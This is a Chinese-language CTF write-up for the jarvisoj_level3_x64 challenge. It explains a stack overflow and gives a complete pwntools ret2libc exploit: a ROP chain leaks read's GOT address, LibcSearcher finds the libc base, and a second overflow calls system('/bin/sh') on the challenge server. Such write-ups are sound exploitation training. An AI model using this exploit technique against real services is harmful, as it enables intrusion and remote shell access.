jarvisoj_level3_x64
检查保护机制,64位,开NX

IDA打开,
main函数

发现function函数,找到栈溢出漏洞

写入长度为7,读的长度为0x200
解题思路
1.泄露read地址得到libc版本
2.获取system和‘/bin/sh’的地址
3.返回主函数进行夺权
解题过程
因为是64位,所以考虑寄存器问题
需要构造write(1, read_got, 8),即将rdi=1,rsi=read_got,rdx=8
ROPgadget --binary level3_x64 --only “pop|ret”

利用出栈指令pop给对应的寄存器赋值,但这里没有pop rdx,通过查看反汇编可以发现构造栈溢出前rdx=0x200,足够将read函数的真实地址泄露出来
第二次栈溢出跳转执行system("/bin/sh")
exp
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "amd64", log_level= "debug")
p = remote("node4.buuoj.cn", 29641)
elf = ELF("./level3_x64")
read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
payload = b"a" * 0x88
payload += p64(pop_rdi_ret) + p64(1) #设置write第一个参数为1
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) #设置write第二个参数为read_got
payload += p64(write_plt) #调用write函数
payload += p64(main_addr) #调用完write返回主函数
p.sendlineafter("Input:", payload)
read_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) #接收泄露的read函数的真实地址
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = b"a" * 0x88
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter("Input:", payload)
p.interactive()
